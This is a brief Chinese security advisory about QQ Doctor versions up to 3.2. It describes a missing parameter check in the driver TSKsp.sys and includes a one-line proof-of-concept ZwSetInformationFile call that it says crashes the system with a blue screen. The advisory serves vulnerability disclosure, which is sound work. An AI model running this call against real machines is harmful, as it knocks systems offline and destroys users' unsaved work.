影响版本:
QQ医生 <= 3.2

发布时间:2010-02-19

漏洞描述：
QQ医生是腾讯公司开发的一个安全辅助工具，其用于实现注册表文件拦截等功能的驱动程序TSKsp.sys没有对ZwSetInformationFile->FileDispostionInformation的参数做任何的检查就直接访问，因此攻击者可构造特殊的参数，使系统蓝屏

利用代码：

ZwSetInformationFile(0 , 0 ,0x80000000 , 0 , FileDispostionInformation );

安装了QQ医生的机器上运行上面一行代码，系统即告蓝屏